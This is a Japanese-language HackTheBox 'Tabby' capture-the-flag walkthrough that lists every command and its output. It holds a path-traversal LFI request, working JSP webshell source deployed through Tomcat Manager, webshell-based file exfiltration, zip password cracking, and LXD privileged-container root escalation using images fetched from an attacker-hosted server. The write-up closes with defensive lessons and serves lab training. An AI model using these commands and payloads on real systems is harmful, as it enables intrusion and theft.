HackTheBox: Tabby — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 8080/Tomcat
→
22/ssh, 80/http, 8080/Tomcat
news.php LFI
tomcat-users.xml 読み取り
→
tomcat-users.xml 読み取り
tomcat:$3cureP4s5w0rd123!
→
Tomcat Manager WARデプロイ
JSP webshell
→
JSP webshell
backup.zip 発見・fcrackzip
admin@it
→
admin@it
su – ash → user.txt ✓
→
lxdグループ特権コンテナ
Alpine split image
→
Alpine split image
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & サイト確認
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.89.181 nmap -sV -sC -p 22,80,8080 10.129.89.181
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 80/tcp open http Apache httpd 2.4.41 8080/tcp open http-proxy Apache Tomcat
BASH
curl -s http://10.129.89.181/ | grep title
RESULT
<title>Mega Hosting</title>
ℹ️
“Mega Hosting” を名乗るサイト。vhost名
megahosting.htb を
/etc/hostsに追加して本番ドメインとしてアクセスする必要がある。
PHASE 2
news.php の Local File Inclusion
news.php?file= パラメータでパストラバーサル
BASH
echo "10.129.89.181 megahosting.htb" | sudo tee -a /etc/hosts curl -s "http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml"
RESULT
<tomcat-users> <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/> </tomcat-users>
✅
LFI成功! news.phpの
fileパラメータがパス検証
無しでinclude/読み込みされており、../../によるパス
トラバーサルで任意のファイルを読める。Tomcatの設定ファイル
tomcat-users.xmlにはmanager-scriptロール
(WARデプロイ権限)を持つ資格情報が平文記載されている。
⚠️
実装上の注意: このvhostはホスト名ベースのため、
/etc/hostsのエントリが正しいIPを指していないと
(例: 過去に別のインスタンスIPで同名vhostを登録した古いエントリが
残っていると)、OSのDNS解決が古いIPを先に試行してタイムアウトし、
LFI自体が到達不能になる。vhost名を使うエクスプロイトでは
/etc/hostsに同名の重複行が無いか必ず確認すること。
PHASE 3
Tomcat Manager への WAR デプロイで RCE
JSP webshell WAR の作成とデプロイ
BASH
# JSP webshellを含むWARファイルを作成
mkdir -p tabbysh && cat > tabbysh/cmd.jsp <<'EOF'
<%@ page import="java.util.*,java.io.*"%>
<% String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line; while ((line = r.readLine()) != null) out.println(line);
} %>
EOF
cd tabbysh && jar -cvf ../tabbysh.war . && cd ..
curl -s -u 'tomcat:$3cureP4s5w0rd123!' -T tabbysh.war \
"http://10.129.89.181:8080/manager/text/deploy?path=/tabbysh&update=true"
RESULT
OK - Deployed application at context path [/tabbysh]
webshellでRCE確認
BASH
curl -s -G --data-urlencode "cmd=id" http://10.129.89.181:8080/tabbysh/cmd.jsp
RESULT
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
✅
RCE成功!
tomcatユーザーとしてコマンド実行できる。
PHASE 4
バックアップZIPのクラック & user.txt取得
バックアップZIPの発見と回収
BASH (webshell経由)
curl -s -G --data-urlencode "cmd=find /var/www/html -name '*.zip' 2>/dev/null" \ http://10.129.89.181:8080/tabbysh/cmd.jsp
RESULT
/var/www/html/files/16162020_backup.zip
BASH
curl -s -G --data-urlencode "cmd=base64 -w0 /var/www/html/files/16162020_backup.zip" \ http://10.129.89.181:8080/tabbysh/cmd.jsp | base64 -d > backup.zip
fcrackzip でパスワードクラック
BASH
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backup.zip
RESULT
PASSWORD FOUND!!!!: pw == admin@it
su – ash でユーザー昇格 & user.txt取得
BASH (webshell経由)
curl -s -G --data-urlencode \ "cmd=echo 'admin@it' | su - ash -c 'cat /home/ash/user.txt'" \ http://10.129.89.181:8080/tabbysh/cmd.jsp
RESULT
47ad3c2c295446ec5039db8c83d14d8d
user.txt — ash
47ad3c2c295446ec5039db8c83d14d8d
⚠️
重要: SSHは公開鍵認証のみでパスワード認証不可のため
直接SSHログインはできない。また
su ash(ログインシェル無し)
ではなくsu - ash(ハイフン付き、ログイン
シェルとして起動)である必要がある。これにより/snap/bin等が
正しく$PATHに含まれ、次フェーズのlxcコマンドが
使えるようになる。
PHASE 5
lxdグループ権限による特権コンテナ権限昇格 & root.txt取得
lxdグループ所属の確認
BASH (webshell経由、su – ash 内)
echo 'admin@it' | su - ash -c 'groups'
RESULT
ash adm cdrom sudo dip plugdev lxd
🚨
lxdグループは実質root権限と同等。 LXDコンテナを
security.privileged=trueで起動しホストのルートファイル
システムをマウントすれば、コンテナ内からホストの/rootに
アクセスできる(名前空間分離を自ら無効化できるため)。
Alpine split image の作成 (LXD 4.18はsplit形式が必要)
BASH (Kali側)
# メタデータ部分 cat > metadata.yaml <<'EOF' architecture: "x86_64" creation_date: 1595894164 properties: architecture: "x86_64" description: "Alpine" os: "Alpine" release: "3.18" EOF tar -czf alpine_meta.tar.gz metadata.yaml # ルートファイルシステム部分(公式ミニルートFS) wget https://dl-cdn.alpinelinux.org/alpine/v3.18/releases/x86_64/alpine-minirootfs-3.18.0-x86_64.tar.gz \ -O alpine_rootfs.tar.gz
ℹ️
LXD 4.18以降は単一のunified tarballイメージを受け付けず、
metadata部分とrootfs部分を分離した”split”形式を要求する。
イメージ転送・コンテナ起動・ホストファイルシステムのマウント
BASH (webshell経由、su – ash 内)
# Kali側で一時HTTPサーバーからimageを配信し、ash宅へwgetで取得 wget -O /home/ash/alpine_meta.tar.gz http://<Kali IP>:9974/alpine_meta.tar.gz wget -O /home/ash/alpine_rootfs.tar.gz http://<Kali IP>:9974/alpine_rootfs.tar.gz lxd init --auto lxc image import /home/ash/alpine_meta.tar.gz /home/ash/alpine_rootfs.tar.gz --alias alpine lxc init alpine pwn -c security.privileged=true lxc config device add pwn mydev disk source=/ path=/mnt/root recursive=true lxc start pwn lxc exec pwn -- cat /mnt/root/root/root.txt
RESULT
Creating pwn
Device mydev added to pwn
38e5982aab72695f0e90b84591ba3acb
✅
root.txt取得成功! コンテナの
security.privileged=true
設定により、コンテナ内の処理がホストカーネルに対してそのまま
root権限として作用する。ホストの/をコンテナ内
/mnt/rootにマウントしたことで、ホストのファイルシステム
全体に権限チェック無しでアクセスできる。
root.txt — LXD特権コンテナ経由
38e5982aab72695f0e90b84591ba3acb
ℹ️
コンテナの初期化(特にイメージのunpack)には実機で2分以上かかることがある。
自動化する場合はWebシェル経由のHTTPリクエストでブロックせず、
バックグラウンドスクリプト起動+ポーリング方式にする必要がある。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — ash
47ad3c2c295446ec5039db8c83d14d8d
root.txt — LXD特権コンテナ経由
38e5982aab72695f0e90b84591ba3acb
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Local File Inclusion | news.php?file= | 設定ファイル内資格情報の漏洩 | Critical | パス検証無しのfile読み込みでtomcat-users.xmlを窃取 |
| Tomcat Manager WARデプロイ RCE | Apache Tomcat Manager | リモートコード実行 (tomcatユーザー) | Critical | 漏洩した管理者資格情報でJSP webshellを含むWARをデプロイ |
| バックアップZIPの弱いパスワード | /var/www/html/files/16162020_backup.zip | 水平権限昇格 (ash、user.txt) | Medium | rockyou.txt + fcrackzipで即座にクラック |
| lxdグループ所属 (特権コンテナ作成権限) | LXD/LXC | 権限昇格 (root相当、root.txt) | Critical | security.privileged=trueの特権コンテナでホストの/を直接マウント |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22/ssh, 80/http (Mega Hosting), 8080/Tomcat |
| 2 | LFI | news.php?file=パストラバーサル | tomcat:$3cureP4s5w0rd123! |
| 3 | RCE | Tomcat Manager WARデプロイ | tomcat シェル獲得 |
| 4 | 水平昇格 | backup.zip発見+fcrackzipクラック | ash:admin@it、user.txt |
| 5 | 権限昇格 | lxdグループ + 特権コンテナ | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
ユーザー制御可能なfileパラメータに対しパストラバーサル検証が無い |
includeするファイルは固定の許可リストで管理し、ユーザー入力を直接パス構築に使わない。 |
| Tomcat管理コンソールの資格情報が平文で設定ファイルに保存され、Webルート外のファイルがLFIで読める | 設定ファイルのパーミッションをWebサーバー実行ユーザーから読めない権限にし、機密情報は環境変数やシークレット管理システムで管理する。 |
| バックアップファイルがWebルート下に公開され、弱いパスワードで保護されている | バックアップは公開領域に置かず、強固なパスフレーズまたは鍵ベースの暗号化を使う。 |
| 一般ユーザーがlxdグループに所属し、事実上root権限相当の操作が可能 | 最小権限の原則を徹底し、lxd/dockerグループへの所属は厳格に制限する。LXDのsecurity.privilegedフラグの使用自体も監視・制限する。 |

